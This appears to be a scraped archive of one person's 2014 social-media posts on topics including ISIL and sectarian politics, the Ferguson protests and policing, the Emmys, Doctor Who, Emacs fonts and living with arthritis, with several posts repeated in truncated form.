Do I think that allying with Shiites in fighting ISIL would offend the entire Sunni world, all one-billion-plus of them? Of course not. But as a country we tend to be totally ignorant of Islam and especially of the differences between the denominations.

And I think most Americans are totally unaware to what extent our actions thus far have already looked like America picking sides, choosing Shia over Sunni Islam, to many of those "young [Sunni] men who have been radicalized", to use the narrative the media so loves. 
 
It wasn't our motivation in de-Ba'athification to purge virtually all Sunnis from government (and often from their communities as well). But regardless of our motivations, it had that effect, and today the military leaders of ISIL are former high-ranking officers of Saddam Hussein's military.

Forget our longstanding standoff with Iran; no one thinks their Shiism was a factor in our relationship with them—though their theocracy, independent of denomination, certainly was. If we actually put all that history aside and ally with them against ISIL, as some reports have suggested Iran has made overtures towards, I think the appearance of being on the side of Shia Islam against Sunnis is only going to intensify.

(I prefer ISIL over ISIS because I think it better reflects the group's previous name—before they became just "The Islamic State"—in Arabic (والشام‎ ad-Dawlah l-ʾIslāmiyyah fīl-ʿIrāq wash-Shām), which literally does not mean "Islamic State in Iraq and Syria", but "Islamic State in Iraq and al-Sham", al-Sham being a term usually translated into English as the Biblical Levant, an area much larger than just Syria.)

¹ Here I'm writing about my understanding of history from the time of the prophet Muhammed's death in 632 through the First (Rāshidūn) Caliphate in 661, and in the several stable caliphates thereafter.

² I'm using the term heretic here in the colloquial English sense, not a precise mapping to one of the specific Islamic terms for various non-Islamic religious belief or apostasy from those claiming to be Muslims.

³ And technically also including the "Sabians", a grouping that is hard to identify today; several small groups in Iraq (or recently in Iraq; many have fled to Syria, Jordan or Iran) might have claim to it or might be described by some muftis as Sabians. But there is enough dispute, both inside and outside these groups, to confuse matters to where it seems unlikely that a group like ISIL would bother making distinctions. Traditional Islamic scholarship holds that a caliph should err on the side of accepting of people under its rule claiming to be People of the Book, but ISIL has not shown much of a bent for acceptance.

⁴ Though you may not agree with the definition of "innocent" here; basically, a caliph should allow People of the Book to follow these religions without harassment, but they cannot be accorded the full political or property rights of citizens, and while they can continue to worship in churches and synagogues already existing, they cannot build new houses of worship or even renovate or expand existing ones. And proselytizing or even allowing Muslims to convert is considered a crime whose punishment the guilty party's entire religious community must bear, by the destruction of their places of worship and the loss of their property.

⁵ Islamic jurisprudence has honestly made a complete hash of the distinctions between apostasy, heresy, blasphemy, hypocrisy, nonobservance, atheism, and unbelief. I use the term "apostasy" here because it's the one that most clearly cannot admit people following entirely different religions. In short, a Christian, Hindu or Yezidi can be guilty of blasphemy against Islam, but not apostasy within Islam. A Shiite is an apostate in ISIL's view.___

2014-09-09 20:23:51 (6 comments, 0 reshares, 0 +1s)Open 

Can authors disable searching Amazon Kindle books? I bought a book that I know is all text, it's reflowable and you can change the font, but all searches, even for words I can see are in the book, return zero results.

I'm wondering if this indicates a bug or unintended (or paranoid) action by the publisher or author.

Update: False alarm, the book was somehow corrupted. Deleting it off my device and re-downloading it fixed the problem.

Can authors disable searching Amazon Kindle books? I bought a book that I know is all text, it's reflowable and you can change the font, but all searches, even for words I can see are in the book, return zero results.

I'm wondering if this indicates a bug or unintended (or paranoid) action by the publisher or author.

Update: False alarm, the book was somehow corrupted. Deleting it off my device and re-downloading it fixed the problem.___

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2014-08-26 18:28:07 (4 comments, 1 reshares, 1 +1s)Open 

Surely I'm missing something. This help doc seems to imply that only photos that have automatically been marked Highlights can be put into albums. And sure enough, if I long-touch a photo under Highlights, there's an album icon, but long-touching a photo anywhere else, there isn't. (In fact, you can long-touch a photo in Highlights, switch tabs and Highlight another, and the album icon goes away. Remove the non-Highlight photo from the selection list and the option to save to an album returns.

I've got a screenshot I want to put in an album. No other shot will do, because... it's a screenshot. But it isn't a Highlight, probably because... it's a screenshot, maybe?

I'm totally flummoxed. Bad UX, bad!

Surely I'm missing something. This help doc seems to imply that only photos that have automatically been marked Highlights can be put into albums. And sure enough, if I long-touch a photo under Highlights, there's an album icon, but long-touching a photo anywhere else, there isn't. (In fact, you can long-touch a photo in Highlights, switch tabs and Highlight another, and the album icon goes away. Remove the non-Highlight photo from the selection list and the option to save to an album returns.

I've got a screenshot I want to put in an album. No other shot will do, because... it's a screenshot. But it isn't a Highlight, probably because... it's a screenshot, maybe?

I'm totally flummoxed. Bad UX, bad!___

2014-08-26 15:22:55 (1 comments, 0 reshares, 3 +1s)Open 

In comedy, timing context is everything

Comedy is about uncomfortable moments. Pushing the line to where someone could become angry, fearful or sad, but instead chooses to laugh. I'm not exactly making a new observation here, but most every joke (maybe aside from puns) could be pushed farther and eventually pushed too far. Answering whether it has gone too far turns on the context. And I think the context was the problem with the turntable display of Sofia Vergara last night during the Academy president's speech.

In the old Danny Thomas/Joey Bishop/Art Linkletter days (I wanted to write "Bob Hope days", but Bob Hope hosted the Oscars, not the Emmys), there were three parts of the awards shows that were taken Very Seriously: the memorials, the introduction of the accountants¹, and the speech by the president of the Academy. Any ofthe... more »

In comedy, timing context is everything

Comedy is about uncomfortable moments. Pushing the line to where someone could become angry, fearful or sad, but instead chooses to laugh. I'm not exactly making a new observation here, but most every joke (maybe aside from puns) could be pushed farther and eventually pushed too far. Answering whether it has gone too far turns on the context. And I think the context was the problem with the turntable display of Sofia Vergara last night during the Academy president's speech.

In the old Danny Thomas/Joey Bishop/Art Linkletter days (I wanted to write "Bob Hope days", but Bob Hope hosted the Oscars, not the Emmys), there were three parts of the awards shows that were taken Very Seriously: the memorials, the introduction of the accountants¹, and the speech by the president of the Academy. Any of the rest of the show could be spontaneous and were subject to ribbing and jokes, but those three bits were supposed to be solemn moments.

The accountants' introduction became fair game for poking fun decades ago. The reason for it even existing as part of the ceremony is almost lost to history¹, so it was an easy target—searching YouTube I found examples back as far as the 80's of the accountants being made fun of; it probably started even earlier. I think the memorials are probably permanently off-limits².

But the Academy president's speech has remained the yawner moment of every awards show. And for just as long as they've tried to gussy it up with slide shows or backdrops of recipients of the Academy's philanthropic work. Comedy's been tried before too, but all those I've seen have been pretty dreadful—though not so obviously vulnerable to the claim of offensiveness as last night's.

The problem, I think, with last night's bit was not that it wasn't funny given the correct context —it was—but that most viewers wouldn't have the correct context. Hollywood insiders, they'd get it—this is a boring part of the show, everyone's bored with it, as entertainers they'd like to just drop it, but since they can't they might as well try to make it entertaining. And how better to make a solemn but useless bit of ceremony entertaining than to skewer it with something completely ridiculous?

Acknowledging "we know you aren't going to listen anyway, so here's something to look at instead" is, in fact, funny. But most people watching the Emmys are not insiders, and they're going to take the president's speech at face value. You hear someone announced as the "Academy of Television Arts and Sciences President Bruce Rosenblum", you expect someone serious, and you expect them to be serious.

The fact that his speech itself ended up being a (too) slow-rolled joke about the point of Academy members' jobs being to get people to watch the screen would have been lost on most viewers.

And even for those it wasn't lost on? You see something almost inviolable in the acts of comedians who did "offensive" comedy well—Lenny Bruce, Richard Pryor, George Carlin: they told you they were about to be offensive before being so. George Carlin said he was going to tell you the words you couldn't say on TV. Then he said them. It's asking for consent: I want to do this thing that I think you'll like, but some people might not, so I need your permission first, okay?

Here, Rosenblum gives no explanation, but just tells Vergara to mount her rotating pedestal and begins giving what at first sounds like the every-year-yawner we expect. Insiders had the context to realize what's happening immediately and take it for what it was meant to be. But most viewers did not, and by the time the joke finally came in the last line of the speech, they'd already been offended without consent. Context's everything, and last night it was ignored.


¹ In a nutshell: at one time, if there existed an industry award, you could safely assume it was bought, sold and traded for influence (heck, that's true in many industry awards to this day), and above-board awards wanted to prove their bona fides by showing they had Ernst & Young or Price Waterhouse insuring there was no ballot box-stuffing.

² As a context for ironic pokes at the thing itself, I mean; of course when eulogizing someone from comedy, funny moments are welcome.

#emmys   #sofiavergara  ___

2014-08-23 18:43:29 (15 comments, 2 reshares, 7 +1s)Open 

As a linguist, I applaud how search-informed apps have taken natural-language software in a more prescriptivist descriptivist† direction. It's nice to know that, should I ever actually need to refer to the actress I think is named "Charlise Thieron", search-informed spelling correction can now easily tell me that should be "Charlize Theron".

But yet, but yet... I know that insisting on using the possessive-determiner form as the subject of a gerund is fusty, and I myself sometimes use the subject-nominative instead.

But please, Chrome, do not highlight "your" in, "I can recall once your sending your vodka on the rocks back..." with that grey grammar-and-usage underline and suggest a "correction" of "*you're"—not even the populist correction "you"!

Your "correction" is just wrong.Unles... more »

As a linguist, I applaud how search-informed apps have taken natural-language software in a more prescriptivist descriptivist† direction. It's nice to know that, should I ever actually need to refer to the actress I think is named "Charlise Thieron", search-informed spelling correction can now easily tell me that should be "Charlize Theron".

But yet, but yet... I know that insisting on using the possessive-determiner form as the subject of a gerund is fusty, and I myself sometimes use the subject-nominative instead.

But please, Chrome, do not highlight "your" in, "I can recall once your sending your vodka on the rocks back..." with that grey grammar-and-usage underline and suggest a "correction" of "*you're"—not even the populist correction "you"!

Your "correction" is just wrong. Unless I was starting a clause in the historical present tense ("I can recall once[, years ago,] you're sending your vodka back when you notice it's not even vodka but gin") or the habitual aspect in present-continuous tense ("I can recall [that,] once you're sending your vodka back, pretty soon you're demanding your next drink's perfection"). Which I was not.

It isn't the first time I've caught you¹ doing it. Your (yes, dammit, your) correcting this must stop².

I don't get my hackles up when an impetuous bit of software tries to hypercorrect me. But insisting a grammatical usage is wrong and suggesting an ungrammatical one to replace it is just plain irritating.

(I'm done now. Now back to your originally-scheduled programming, already in progress.)

¹ Both "you" and "your" would be acceptable here and are nearly synonymous; the first emphasizes that I caught you, the second that I caught the action of your doing it.

² Interestingly, you'll let "your", "you", and the quite-definitely-wrong "*you're" all go by in that sentence. What gives?

† Updated: Whoops! That was a thinko. I meant "descriptivist".___

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2014-08-23 17:31:09 (12 comments, 2 reshares, 73 +1s)Open 

Hah! I just noticed that Peter Capaldi voices Matt Smith's grunt at the one-minute mark in this scene. (Funny how you can even grunt recognizably in Scots.)

I'm optimistic about Peter Capaldi's Doctor. There's the obvious change: succeeding Matt Smith, the eleventh and youngest to play the alien time-traveller lead, Capaldi will tonight be the oldest to ever take over the Doctor Who lead role at 57 (even the first Doctor, William Hartnell, who played the character as if he were in his seventies—and looked it—was just 55). He's more than twice the age of Matt Smith when he took the part.

This is especially interesting because Matt Smith, particularly as his tenure went on, had an uncanny ability to seem older than any previous Doctor. Which in the story, of course, he was—not only was he the latest incarnation, but he was by far the longest-lived (claiming agesbetwe... more »

Hah! I just noticed that Peter Capaldi voices Matt Smith's grunt at the one-minute mark in this scene. (Funny how you can even grunt recognizably in Scots.)

I'm optimistic about Peter Capaldi's Doctor. There's the obvious change: succeeding Matt Smith, the eleventh and youngest to play the alien time-traveller lead, Capaldi will tonight be the oldest to ever take over the Doctor Who lead role at 57 (even the first Doctor, William Hartnell, who played the character as if he were in his seventies—and looked it—was just 55). He's more than twice the age of Matt Smith when he took the part.

This is especially interesting because Matt Smith, particularly as his tenure went on, had an uncanny ability to seem older than any previous Doctor. Which in the story, of course, he was—not only was he the latest incarnation, but he was by far the longest-lived (claiming ages between 907 and 2100), and it seems like Smith used this quite a bit in informing his character. In Smith's first few episodes, he maintained the boyishness of his predecessor David Tennant for the most part, and superficially exceeded it by being twelve years younger, but every now and again gave a hint of an old man carrying the weight of years. By the end of his tenure, Smith seemed to turn his Doctor's boyish zaniness into something more like grumpy doddering, sometimes trembling his lips, stooping and smacking his teeth, and sometimes having a private joke with a voice only he could hear.

Tom Baker is "my doctor" in being the first I followed, and I enjoyed Christopher Eccleston's and Tennant's turns quite a lot. Still, I think there's a strong case to be made that Smith may have been the most accomplished actor to really inhabit the role, and I base that almost entirely on the impossibly brilliant way he could make you believe he really was a centuries-old man whose lifetime, on balance, haunted him. Yet Smith's Doctor expressed delight in the humans he surrounded himself with, often professing his admiration of his companions or of the entire race out loud.

With Capaldi and his Doctor, I expect to see somewhat the reverse: an old man who shows flashes of youth, but is stern, pragmatic and wryly witty, rather than zany, yearning and surreal.

We've seen in trailers he redecorates his TARDIS with blackboards and musty bookshelves. Eccleston's Doctor called his human companion Rose "another stupid ape", and I think we may see some of that blithe superiority and impatience come back. The Doctor is superior, and he knows it, and only politeness keeps him from regularly mentioning it; if there's anything bridging Capaldi's many brilliant roles over the years, it certainly isn't "politeness".

I'm optimistic, but cautiously so. Capaldi's already signed on for a series (American "season") beyond this one, but if they really took the character where I would hope it could go, I'd think the BBC would be waiting to see fan's reactions. A show whose popularity, particularly in the States, skyrocketed just at the time it had its most young, hip and telegenic leads? Now switching to a 57-year-old actor who reportedly put it in his contract that his Doctor will be the first to speak with a Scottish accent, who himself wrote Whovian fan fiction as a kid? And to reportedly steer clear of the entire sexual-tension factor present between the all the prior "reboot" incarnations and (at least some of) his young female companions because of the "creepy" factor?

Really, I ask you: what's "creepier", a 1200-year-old played by a 24-year-old (Smith) romancing a 500-plus-year-old played by a 50-year-old (Alex Kingston), or a 2100-year-old played by a 57-year old (Capaldi) romancing a 28-year-old (Jenna Coleman)? But Smith and Coleman were about the same age, so that's all that mattered. Particularly to the hypothetical Mary Janes BBC execs are imagining. Remember, Doctor Who is the BBC's biggest money-maker, but is also, by far, its most expensive ongoing production. The risks are high.

There have been previous reports that during Smith's last series, the BBC pulled showrunner Steven Moffat back from some unspecified "more daring" places he wanted the show to go. (And indeed, as brilliant as Smith was, the last half of the final series, not including the final three 50th-anniversary extravaganzas, was some of the weakest of the entire Who reboot.) I fear that with Series 8 we may see the same kind of promise arrested by nervous network notes, which can be (alliteratively) deadly to a show like this.

But that's the "cautious" part. I'm mostly optimistic, and looking forward to tonight, and even more so to next Saturday, when they don't have so many introductions and loose ends to take care of and we can begin to find out if the Twelfth Doctor is, in fact, "a good man".

#doctorwho   #mattsmith   #petercapaldi   #petercapaldi12thdoctor  (Strangely, these auto-hashtags disappeared after I fixed a couple typos.)___

2014-08-21 18:00:44 (12 comments, 0 reshares, 1 +1s)Open 

I use the unicode-fonts package for unicode-fonts-setup, which makes glyphs not available in my default font (Liberation Mono) displayable using another available font containing the glyph. It works great—but I have to run unicode-fonts-setup manually and I can't figure out how to automate it.

I run Emacs in daemon mode, so when it starts up it's not attached to a GUI.  So running unicode-fonts-steup from my emacs.d/init.el at daemon startup is useless; it needs a GUI to query, so it really needs to run the first time I create a frame.

There's a before-make-frame-hook, but that's too early too. I could hook to load-file or any number of other hooks, but those would cause the function, which is pretty expensive, to run multiple times unless I do some dodge like having the hook contain a custom function that runs unicode-fonts-setup and then removes itself from theho... more »

I use the unicode-fonts package for unicode-fonts-setup, which makes glyphs not available in my default font (Liberation Mono) displayable using another available font containing the glyph. It works great—but I have to run unicode-fonts-setup manually and I can't figure out how to automate it.

I run Emacs in daemon mode, so when it starts up it's not attached to a GUI.  So running unicode-fonts-steup from my emacs.d/init.el at daemon startup is useless; it needs a GUI to query, so it really needs to run the first time I create a frame.

There's a before-make-frame-hook, but that's too early too. I could hook to load-file or any number of other hooks, but those would cause the function, which is pretty expensive, to run multiple times unless I do some dodge like having the hook contain a custom function that runs unicode-fonts-setup and then removes itself from the hook. And even that might not work properly since it's conceivable the first frame I'd open might be a tty frame rather than a GUI.

How can I make this run automatically, just once, but late enough to be useful?___

2014-08-19 22:39:37 (16 comments, 2 reshares, 33 +1s)Open 

It's come up several times in conjunction with #Ferguson stories but it bears repeating. There's no such thing as a "non-lethal shot".

Basic firearms safety 101: you never point the muzzle of a gun at something (or someone) you aren't trying to kill. Period. Police were wrong to do it to protesters, and those suggesting that today's shooting should have been a "leg shot" rather than a "kill shot" are wrong too. Maybe the officer should have used a taser in dealing with someone like that; but maybe he didn't have one or it wasn't at the ready or he was too far away.

This isn't a matter of training. At least, not in the way some seem to think it is. The cops who thought pointing guns at peaceful protesters was part of effective crowd control protocol could have used more training. But you don't train for... more »

It's come up several times in conjunction with #Ferguson stories but it bears repeating. There's no such thing as a "non-lethal shot".

Basic firearms safety 101: you never point the muzzle of a gun at something (or someone) you aren't trying to kill. Period. Police were wrong to do it to protesters, and those suggesting that today's shooting should have been a "leg shot" rather than a "kill shot" are wrong too. Maybe the officer should have used a taser in dealing with someone like that; but maybe he didn't have one or it wasn't at the ready or he was too far away.

This isn't a matter of training. At least, not in the way some seem to think it is. The cops who thought pointing guns at peaceful protesters was part of effective crowd control protocol could have used more training. But you don't train for "non-lethal shots".

Sharpshooters train for making difficult shots, and among the things they may train for is attempting a disarming shot when a weapon is in a hostage-taker's hand (because when you kill someone whose finger is on a trigger, they will often involuntarily shoot). But sharpshooters attempt that shot only as an absolute last resort, when killing both the target and the hostage is a less-bad alternative, since that's going to be the result as often as the perfect disarming shot.

And even so, most police aren't sharpshooters anyway. They train to shoot the center mass, because that's the biggest target. Their aim (literally) is to take the target down. That's it. They can't afford to get fancy, and people considering what "use of force" and "proportionate force" means need to take that into account. Pointing a gun and putting a finger on the trigger is a decision to kill. There are no halfway measures when a firearm is involved.___

2014-08-19 12:08:36 (8 comments, 0 reshares, 3 +1s)Open 

What does "tear gas" smell like?

Chemically, I would think tear gas (assuming what they're using in #Ferguson  is CS tear gas, and I think it is—more on that in a moment) would be completely odorless (and the authoritative sources on the chemistry I've found say the same). But watching the news reports from last night, I frequently heard reporters on the ground mention the "familiar smell of tear gas" right before feeling the effects.

Anyone know the real dirt here? A few thoughts off the top of my head:

The highway control commanders and spokespeople have frequently mentioned deploying "smoke" before they deploy "tear gas"—this is a very confusing term, and might be another confusion caused by the intersection of military technology with law enforcement, as the military distinguishes between "tear gasdeli... more »

What does "tear gas" smell like?

Chemically, I would think tear gas (assuming what they're using in #Ferguson  is CS tear gas, and I think it is—more on that in a moment) would be completely odorless (and the authoritative sources on the chemistry I've found say the same). But watching the news reports from last night, I frequently heard reporters on the ground mention the "familiar smell of tear gas" right before feeling the effects.

Anyone know the real dirt here? A few thoughts off the top of my head:

The highway control commanders and spokespeople have frequently mentioned deploying "smoke" before they deploy "tear gas"—this is a very confusing term, and might be another confusion caused by the intersection of military technology with law enforcement, as the military distinguishes between "tear gas delivery" (the sort of thing you'd do to an entire battlefield via modified artillery shells) and "CS smoke grenade delivery"—"CS smoke" is what most of us mean when we say "tear gas". (The difference between these terms may just be a legalistic one, as the use of tear gas on the battlefield is prohibited by chemical weapons treaties as a war crime, but nothing is said about "CS smoke grenades".)

Cannisters recovered from Ferguson show a number emprinted with "CS smoke" and some simply with "CS" or "tearing agent". One can imagine these police, not being fully trained on these chemical agents, might not realize that "CS smoke" is tear gas. That wouldn't explain the smell, though—CS is definitely odorless. 

They might be using military-grade smokescreen in cannister (basically, bigger grenade) form. This seems very unlikely to me, as smokescreen is very unsafe for inhalation—it would be a much more dangerous chemical agent than CS tear gas, and the way authorities have referred to it, they seem to be at least treating it as a less-drastic preliminary or alternative to tear gas—and isn't supposed to be used as crowd control, but rather as a way to hide (masked) troop, vehicle or armament repositioning.

So more likely they're referring to the "smoke" used in tear gas training exercises, which are generally deployed in grenades and cannisters identical to the ones CS gas come in (as with all such armaments, the same manufacturers generally supply these so that training can be done with feel-alikes and with the same launchers, etc.).

The law enforcement suppliers whose catalogs I've found on the web do not give the chemical composition of their (supposedly) non-bioactive grenades, just calling it "Safe Smoke" or "SafeTSmoke™" or the like. (I can't tell you how spittingly angry it made me to find one site, "Defense Technology"—I refuse to link to it here—has their full catalog online but puts their safety information behind a password wall.) So they could smell like anything. "Warm" theatrical smoke (the kind made from glycerol or the like—a vapor similar to what e-cigarettes use) has little to no smell. Carbon dioxide mist, or "dry ice smoke", has an unmistakeable smell but I wouldn't call it "acrid", and besides, you can't deliver dry ice smoke that way.

Would the odor from the propellants or incendiary agents (either from the CS grenades themselves, from the flashbang grenades that frequently precedede them, or from the launchers) carry and be identifiable? Again, going just from the chemistry I'd think this would be possible, and the only descriptive adjective I've seen applied to the smell is "acrid". No chemical agent or smokescreen agent has an "acrid" smell—camphor, vinegar, eucalyptus, or strong vegetal smells would be more expected, even if less common tearing or smokescreen agents were used. 

Flashbangs definitely carry an "acrid" smell that is said to linger in low wind, so my money's on the flashbangs that the police in Ferguson seem to be using in a protool immediately before tear gas. If so, hopefully they don't change up that protocol, or people (especially press) who may have started to depend on what they think "tear gas smells like" could get themselves into big trouble quickly.

I'd really like to know the answer, though.___

2014-08-16 14:30:37 (24 comments, 2 reshares, 19 +1s)Open 

I'm not going to defend the looters in #Ferguson  last night, and I think it's always necessary to remember that they were a tiny, tiny fraction of Ferguson residents and of people out on the streets last night; by all accounts, many more protesters were trying to stop the looting.

Still, I don't think this is that hard to understand, do you? The Ferguson police chief holds a presser (where he doesn't take questions from the press), and, along with the name of the officer who shot Mike Brown, drops a video showing Brown robbing a convenience store—a video he later says was completely unrelated to the shooting. In other words, he was sending young black men an unmistakeable message: "yeah, we may shoot you when you haven't done anything, but you deserve it, because other times you do shit like this."

Can you really blame some of the recipients of thatme... more »

I'm not going to defend the looters in #Ferguson  last night, and I think it's always necessary to remember that they were a tiny, tiny fraction of Ferguson residents and of people out on the streets last night; by all accounts, many more protesters were trying to stop the looting.

Still, I don't think this is that hard to understand, do you? The Ferguson police chief holds a presser (where he doesn't take questions from the press), and, along with the name of the officer who shot Mike Brown, drops a video showing Brown robbing a convenience store—a video he later says was completely unrelated to the shooting. In other words, he was sending young black men an unmistakeable message: "yeah, we may shoot you when you haven't done anything, but you deserve it, because other times you do shit like this."

Can you really blame some of the recipients of that message if they thought, "oh, yeah? Well fuck you then, if you're saying you may shoot me just because I'm the type of person who might steal shit from a convenience store, I might as well go to that convenience store and steal some shit. If you're going to assume it anyway, why shouldn't I get some sort of benefit?"

I don't know that's what they were thinking. That sort of thinking is obviously wrong and self-defeating. Some of them were probably just filled with inchoate anger. Some were just idiots. But I know it was what I was thinking yesterday after seeing the Ferguson police chief's despicably transparent attempt at character assassination. The Ferguson and county police just need to get the hell out of this situation. They've done nothing, at any point, but to inflame it and make it worse. ___

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2014-08-14 22:56:23 (23 comments, 7 reshares, 22 +1s)Open 

A must-read on what other police chiefs think about what's happened in Ferguson. Hint: it isn't good.

Watching the live feeds last night I repeatedly shook my head, asking myself what the hell are they thinking? Pointing sniper rifles at peaceful protesters who haven't even been ordered to disperse? Bringing dogs out to harass protesters? Lobbing tear gas at an Al-Jazeera truck, then after the reporters flee, methodically overturning all their equipment? Telling people they must leave a spot, while not allowing them to move in any direction, then arresting them for not complying? Arresting reporters for, it seems, no reason at all? Then trying to un-arrest them by tearing up the paperwork once the higher-ups tell them what a mistake they made?

What. The. Hell. But even as I was asking myself this, a small part of my mind was saying, "look,... more »

A must-read on what other police chiefs think about what's happened in Ferguson. Hint: it isn't good.

Watching the live feeds last night I repeatedly shook my head, asking myself what the hell are they thinking? Pointing sniper rifles at peaceful protesters who haven't even been ordered to disperse? Bringing dogs out to harass protesters? Lobbing tear gas at an Al-Jazeera truck, then after the reporters flee, methodically overturning all their equipment? Telling people they must leave a spot, while not allowing them to move in any direction, then arresting them for not complying? Arresting reporters for, it seems, no reason at all? Then trying to un-arrest them by tearing up the paperwork once the higher-ups tell them what a mistake they made?

What. The. Hell. But even as I was asking myself this, a small part of my mind was saying, "look, you've never been on that side of a situation like this, you can't imagine what's usual and what's not. Maybe, as distasteful and shocking as this is, it's just what happens." Maybe you were thinking something along the same lines. Read this. Read the words of police commanders who have dealt with large-scale protests, asking exactly the same questions about Ferguson.

+Radley Balko's piece is just incredible and deserves reading from beginning to end. You'll begin to get an inkling of where this mindset came from, and, just maybe, how we can hope to turn things around before "crowd control" really and truly turns into just a euphemism for dissent suppression, everywhere in the country.___

2014-08-14 14:49:19 (42 comments, 0 reshares, 3 +1s)Open 

A question (one I'm legitimately asking, not using to troll, as I don't know the answer): is a suspect's reaching for an officer's holstered handgun sufficient cause to use deadly force to subdue the suspect?

Retention (security) holsters are well-nigh impossible to work without training on that particular model, and the companies that make them take steps to make instructions hard to get. (I'm not saying instructions on removing a gun from a retention holster are harder to get than, say, bomb-making instructions. But you can't search YouTube for a quick how-to on how someone can remove a gun from a holster another person's wearing.) And knowing how one holster works isn't necessarily helpful in removing a weapon from another holster—in fact, most holsters are designed such that trying to remove the weapon using another common retention holster's unholsteringt... more »

A question (one I'm legitimately asking, not using to troll, as I don't know the answer): is a suspect's reaching for an officer's holstered handgun sufficient cause to use deadly force to subdue the suspect?

Retention (security) holsters are well-nigh impossible to work without training on that particular model, and the companies that make them take steps to make instructions hard to get. (I'm not saying instructions on removing a gun from a retention holster are harder to get than, say, bomb-making instructions. But you can't search YouTube for a quick how-to on how someone can remove a gun from a holster another person's wearing.) And knowing how one holster works isn't necessarily helpful in removing a weapon from another holster—in fact, most holsters are designed such that trying to remove the weapon using another common retention holster's unholstering technique will only result in locking the gun in place. (I know of at least one model of retention holster in which the obvious retention clasp is totally a decoy, and popping the snap locks all the other retainers so the weapon can't be removed until the clasp is re-snapped.¹)

The "bad guy grabs a holstered gun from a cop" trope is prevalent on TV, so people may think it's a simple matter of popping the clasp and lifting the weapon out, but it just isn't. (Retention holsters are designed such that the motions required to unholster the weapon involve pushing and twisting—so even a master pickpocket with full understanding of the mechanism isn't going to be able to remove the weapon unnoticed.) So a random guy reaching for a holster is, almost always, going to be doing something really about as dangerous as holding a butane lighter up to a block of plastic explosive: i.e., obviously showing deadly intent, but without deadly force to back up that intent.

Yet, with all that said: someone's reaching for your holstered weapon is obviously an incredibly provocative act, and a cop would have to treat that person as dangerous (and with deadly intent). But, in the absence of other weapons or other aggressive action, is that alone enough reason to use deadly force to subdue the perpetrator?

I know that an unarmed person can, in some circumstances, be convicted of offenses "with a deadly weapon" if they have the intent, since hands and legs and feet can kill. So maybe you assume that if they reach for the gun, their next move is going to be deadly even unarmed.

Still, I'd lay money that more suspects who reach for an officer's holstered weapon are mentally unstable than have cogent criminal intent. And so I think it'd worry me if deadly force were routinely used in response to a provocative but—in itself—ultimately undangerous action.

¹ I'm not a gun geek, but I'm a security geek, so retention holsters are something I've learned more about than the guns they holster.___

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2014-08-13 22:47:03 (28 comments, 3 reshares, 18 +1s)Open 

Sometimes I use crutches. Usually I do not. But even when I'm not using crutches, usually I can't negotiate a flight of stairs easily.

I have an elevator access card at work that lets me get off on any floor—the elevators usually stop every third floor, so getting to a particular floor can involve climbing one or descending two flights.

More than once, coworkers—people who have seen me with and without crutches—have made comments when I've used the card to go directly to my floor on days I'm not crutching. "You've got the magic card, might as well use it, huh?" or such.

I usually just let it go; I don't see any reason to have a confrontation. Sometimes I defend myself: "my arthritis can be bad enough to keep me from climbing steps before it gets bad enough to need the crutches."  But either way, it's humiliating andembarr... more »

Sometimes I use crutches. Usually I do not. But even when I'm not using crutches, usually I can't negotiate a flight of stairs easily.

I have an elevator access card at work that lets me get off on any floor—the elevators usually stop every third floor, so getting to a particular floor can involve climbing one or descending two flights.

More than once, coworkers—people who have seen me with and without crutches—have made comments when I've used the card to go directly to my floor on days I'm not crutching. "You've got the magic card, might as well use it, huh?" or such.

I usually just let it go; I don't see any reason to have a confrontation. Sometimes I defend myself: "my arthritis can be bad enough to keep me from climbing steps before it gets bad enough to need the crutches."  But either way, it's humiliating and embarrassing.

Some days, I'm in good shape so I take the stairs with everyone else.  Others, I probably could handle the stairs, but doing so could make it hard for me to get down into the subway later, so I skip it.

Sometimes I decide to climb a flight of steps I otherwise wouldn't when the elevator is far out of my way, or even if I'm chatting with someone and don't want to interrupt the moment—that's my choice. I've decided to make a tradeoff that works for me at that precise moment. (Sometimes I find I chose poorly, and regret it later.)

Standing still waiting for an elevator or other assistance can hurt even worse than a longer walk or a flight of steps, and what I need is to get to my destination and sit down as quickly as possible. So, for me, there's no contradiction in my climbing the four steps to the elevators—which I will then take directly to my floor—rather than walking all the way around the building to take the lift that lets me avoid those four steps.

Since minimizing the hurtful movement is usually my priority, my choices may look to you exactly as if I were choosing the laziest option each time. The point is, you can't know what I'm feeling, or how I'm feeling, today, or at this very moment. You aren't equipped to judge the tradeoffs I'm making, and I shouldn't feel under any obligation to give you enough information about my condition so that you will agree that my decisions—to climb steps or not, to use crutches or not, to take a longer flatter path or a shorter hillier one—are justified.

I shouldn't feel obligated to make you see that my decisions are justified. But I often do. So I try to explain, inadequately, and I come off as defensive, and I feel bad for that. Or I just shut up, telling myself I don't care what you think. But I do care what you think, you're my friend or colleague, and I don't want you to think of me that way, so I feel bad for staying silent.

At least 95% of the time, I don't feel any of this. I just do what I need to do to keep myself mobile and healthy, and I don't worry about anyone else's reaction unless what I need to do inconveniences them. But your big sigh when I press that elevator button, one floor before yours, helps remind me of your threshold for inconvenience.  Comments like those I've heard and images like this one help remind me that you—some of you, some of the time!—are inclined to assume that I'm "abusing my privilege" of using accessibility aids when you can't see how I'm feeling.

Do you know that old "Brady Bunch" episode where Carol gets into a fender-bender, and the other driver shows up in court wearing an "obviously phony" neck brace, and Mike drops his briefcase to the floor with a bang—exposing the fraud when the neck-braced driver turns his neck to see?

If I were using a neck brace (I haven't needed to in years; my spinal arthritis usually only affects the middle and lower spine, but who knows when I might again?) and you tried to "prove" I was "faking it" the same way, I'd almost certainly involuntarily turn my head at the noise, too—and then probably howl in pain. But you wouldn't have "proven" anything; all you would have done would be to injure me worse by making me suddenly jerk that joint I'd tried to immobilize so it would heal.

My neck brace wasn't a claim that I couldn't move my neck, and my skipping the stairs isn't necessarily a claim that I can't climb a stairwell. It's just my judgment that I shouldn’t do so lest I hurt myself worse. That people without disabilities show, again and again, that they feel both qualified and entitled to second-guess disabled people's judgment is perniciously hurtful.

And about the photo that started this: before I got on my current regimen—when my mobility was much worse than it usually is now—when I went grocery shopping, I'd borrow the supermarket's wheelchair, since grocery shopping with crutches is very difficult if not impossible. (If you doubt me, the next time you're shopping, pay attention and try to imagine doing it with crutches.) If I needed something off a high shelf, of course I'd just stand up and get it! The alternative—wheeling to the customer service desk, asking for help, wheeling back to the shelf, and waiting for someone to arrive and hand me down the item I wanted—was worse in every way, provided I was mobile enough that I could do this maneuver. Notice the woman seems to be holding on to another shelf for support. I'd do the same.

